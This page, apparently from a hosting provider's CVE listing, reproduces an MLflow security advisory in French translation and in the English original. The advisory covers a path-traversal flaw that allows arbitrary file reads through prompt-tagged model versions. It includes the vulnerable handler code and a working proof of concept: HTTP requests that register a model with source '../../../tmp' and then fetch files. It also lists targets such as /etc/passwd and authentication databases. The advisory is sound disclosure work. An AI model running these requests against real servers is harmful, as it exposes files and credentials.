Joan eduki nagusira
WebguneWebgunebeta
Tarifak
Toutes les failles

ÉlevéeCVE-2026-1166902026(e)ko urriaren 27(a)

MLflow vulnérable à la lecture de fichiers arbitraires sur les serveurs non authentifiés via la source de version de modèle prompt

Conséquences sérieuses, souvent sous quelques conditions : à corriger rapidement.

Sévérité
Élevée7.5 / 10
Publiée le
2026(e)ko urriaren 27(a)
Mise à jour
2026(e)ko urriaren 27(a)

L'avis

Traduction automatique de l'avis officiel. En cas de doute, l'avis d'origine, plus bas, fait foi.

Résumé

Sur les serveurs de suivi MLflow fonctionnant sans authentification, ce qui est la valeur par défaut pour mlflow server, un attaquant à distance peut lire des fichiers arbitraires du système de fichiers du serveur en créant une version de modèle étiquetée comme prompt dont la source est un chemin local sans schéma.

La correction de CVE-2026-2614 dans 3.10.0 a ajouté une branche spécifique aux prompts dans le gestionnaire CreateModelVersion qui rejette les URI file:// et les chemins absolus, mais n'exécute la validation de chemin que lorsque la source possède un schéma URL. Une valeur sans schéma telle que ../../etc, un nom relatif simple, ., un chemin encodé en pourcentage ou un chemin de lecteur Windows est donc stocké inchangé comme emplacement d'artifact de la version de modèle, et l'endpoint model-versions/get-artifact sert ensuite des fichiers à partir de celui-ci avec les privilèges du processus serveur. La vérification de l'étiquette s'est également appuyée sur la présence de l'étiquette mlflow.prompt.is_prompt plutôt que sur sa valeur, de sorte qu'une valeur faible sélectionnait toujours la branche la plus faible.

Les serveurs utilisant --app-name basic-auth sont également affectés : tout utilisateur authentifié peut créer un modèle enregistré, de sorte qu'un compte à privilèges réduits peut utiliser cette primitive pour lire la base de données d'authentification, y compris le mot de passe haché de l'administrateur.

Affecté : MLflow 3.10.0 à 3.16.1. Corrigé dans 3.17.0 par mlflow/mlflow#25870 (leiho berria), qui n'accepte que les sources placeholder MLflow propres pour les versions de prompt et exige que l'étiquette prompt soit true.

Détails

Lors de la création d'une version de modèle avec l'étiquette mlflow.prompt.is_prompt définie sur true, la requête est gérée par la branche prompt dans _create_model_version().

mlflow/server/handlers.py:2674-2690 :

is_prompt = _is_prompt_request(request_message)
if is_prompt:
    source = request_message.source
    parsed = urllib.parse.urlparse(source)
    if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")):
        raise MlflowException(...)
    if parsed.scheme:
        _validate_non_local_source_contains_relative_paths(source)
else:
    if request_message.model_id:
        _validate_source_model(request_message.source, request_message.model_id)
    else:
        _validate_source_run(request_message.source, request_message.run_id)

La branche prompt n'appelle pas _validate_source_run(), _validate_source_model() ou _validate_non_local_source_contains_relative_paths() pour les chemins relatifs sans schéma.

Le point de lecture d'artifacts ultérieur fait confiance à la source stockée :

mlflow/server/handlers.py:2765-2782 :

def get_model_version_artifact_handler():
    name = request.args.get("name")
    version = request.args.get("version")
    path = request.args["path"]
    path = validate_path_is_safe(path)
    artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)
    ...
    else:
        artifact_repo = get_artifact_repository(artifact_uri)
        artifact_path = path

    return _send_artifact(artifact_repo, artifact_path)

_send_artifact() appelle artifact_repository.download_artifacts(path) et sert le fichier local résultant avec send_file().

Preuve de concept

Prérequis : Un serveur de suivi MLflow accessible avec les endpoints du registre de modèles activés.

  1. Créer un fichier sentinel sur le serveur :
printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt
  1. Envoyer les requêtes suivantes au serveur MLflow pour exploiter la traversée :

D'abord, créer un modèle enregistré :

POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{"name": "pwned-model"}

Ensuite, créer une version de modèle étiquetée prompt avec la source relative malveillante ../../../tmp :

POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{
  "name": "pwned-model",
  "source": "../../../tmp",
  "tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}

Enfin, récupérer le fichier arbitraire via l'endpoint de download d'artifact en fournissant le nom de fichier cible dans le paramètre path :

GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1
Host: 127.0.0.1:5000

Cela retourne le contenu de /tmp/sentinel-mlflow.txt. La même primitive peut lire des fichiers sensibles comme /etc/passwd ou les bases de données de suivi (par exemple mlflow.db).

Impact

L'impact direct est la lecture de fichiers locaux arbitraires en tant que le processus serveur MLflow. Les cibles confirmées de lecture incluent :

  • /etc/passwd
  • Les bases de données SQLite de suivi lisibles par le processus (par exemple, mlflow-auth.db ou basic_auth.db)
  • Les variables d'environnement ou configurations stockées sur disque
  • /home/user/.bash_history

Modèle de menace : Un attaquant qui peut atteindre le port HTTP du serveur de suivi MLflow peut lire des fichiers arbitraires lisibles par le processus serveur MLflow. Sur les déploiements MLflow non authentifiés, c'est directement exploitable sans identifiants. Sur les déploiements avec authentification activée, tout utilisateur authentifié (même des comptes à privilèges réduits ou « lecture-seul », selon les configurations RBAC par défaut permettant la création de modèles) peut utiliser la primitive. Les magasins de identifiants fués peuvent permettre des attaques de mot de passe hors ligne ou une compromission administrative plus large.

Composants touchés

ComposantVersions touchéesCorrigé en
mlflowPython (pip)>= 3.10.0, < 3.17.03.17.0

Vous utilisez une version touchée ? Passez à la version corrigée, puis redéployez.

MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source

Summary

On MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.

The fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the CreateModelVersion handler that rejects file:// URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as ../../etc, a plain relative name, ., a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the model-versions/get-artifact endpoint later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the mlflow.prompt.is_prompt tag rather than its value, so a false value still selected the weaker branch.

Servers using --app-name basic-auth are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.

Affected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by mlflow/mlflow#25870 (leiho berria), which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be true.

Details

When creating a model version with the mlflow.prompt.is_prompt tag set to true, the request is handled by the prompt branch in _create_model_version().

mlflow/server/handlers.py:2674-2690:

is_prompt = _is_prompt_request(request_message)
if is_prompt:
    source = request_message.source
    parsed = urllib.parse.urlparse(source)
    if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")):
        raise MlflowException(...)
    if parsed.scheme:
        _validate_non_local_source_contains_relative_paths(source)
else:
    if request_message.model_id:
        _validate_source_model(request_message.source, request_message.model_id)
    else:
        _validate_source_run(request_message.source, request_message.run_id)

The prompt branch does not call _validate_source_run(), _validate_source_model(), or _validate_non_local_source_contains_relative_paths() for schemeless relative paths.

The artifact-read sink later trusts the stored source:

mlflow/server/handlers.py:2765-2782:

def get_model_version_artifact_handler():
    name = request.args.get("name")
    version = request.args.get("version")
    path = request.args["path"]
    path = validate_path_is_safe(path)
    artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)
    ...
    else:
        artifact_repo = get_artifact_repository(artifact_uri)
        artifact_path = path

    return _send_artifact(artifact_repo, artifact_path)

_send_artifact() calls artifact_repository.download_artifacts(path) and serves the resulting local file with send_file().

PoC

Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.

  1. Create a sentinel file on the server:
printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt
  1. Send the following requests to the MLflow server to exploit the traversal:

First, create a registered model:

POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{"name": "pwned-model"}

Next, create a prompt-tagged model version with the malicious relative source ../../../tmp:

POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{
  "name": "pwned-model",
  "source": "../../../tmp",
  "tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}

Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the path parameter:

GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1
Host: 127.0.0.1:5000

This returns the contents of /tmp/sentinel-mlflow.txt. The same primitive can read sensitive files like /etc/passwd or tracking databases (e.g. mlflow.db).

Impact

Direct impact is arbitrary local file read as the MLflow server process. Confirmed read targets include:

  • /etc/passwd
  • SQLite tracking databases readable by the process (e.g., mlflow-auth.db or basic_auth.db)
  • Environment variables or configurations stored on disk
  • /home/user/.bash_history

Threat model: An attacker who can reach the MLflow tracking server HTTP port can read arbitrary files readable by the MLflow server process. On unauthenticated MLflow deployments, this is directly exploitable without credentials. On auth-enabled deployments, any authenticated user (even low-privileged or "read-only" accounts, depending on default RBAC configurations allowing model creation) can use the primitive. Leaked credential stores may enable offline password attacks or broader administrative compromise.

Catégorie : Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (CWE-22)

Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • github.comhttps://github.com/mlflow/mlflow/security/advisories/GHSA-m65p-9j7q-6w33
  • github.comhttps://github.com/mlflow/mlflow/pull/25870
  • github.comhttps://github.com/mlflow/mlflow/commit/81730a2ce4ebcd60d5d18f68c96f422ad7e30772
  • github.comhttps://github.com/mlflow/mlflow/releases/tag/v3.17.0
  • github.comhttps://github.com/advisories/GHSA-m65p-9j7q-6w33
WebguneWebgune

Hodei burujabe osoa, Frantzian diseinatua eta ostatatua.

DiscordDiscordGitHubGitHub
+33 (0)9 72 23 25 00support@webgune.cloud

Produktua

  • Ezaugarriak
  • Tarifak
  • Konparaketa
  • Changelog
  • Egoera
  • Ahuleziak (CVE)
  • Harremanetarako

Garatzaileak

  • Dokumentazioa
  • Frameworkak
  • API erreferentzia
  • Adibideak
  • CLI
  • Tresnak & VS Code

Legala

  • Erabilera baldintzak
  • Pribatutasun politika
  • Ohar legalak
  • Irisgarritasuna
  • RGPD
  • DPA
  • Erabilera onargarriaren politika

© 2026 KX712. Eskubide guztiak erreserbatuta. Webgune KX712-ren zerbitzu bat da.

Ordainketak:VisaMasterCardAmerican ExpressApple PayGoogle PaySEPABancontact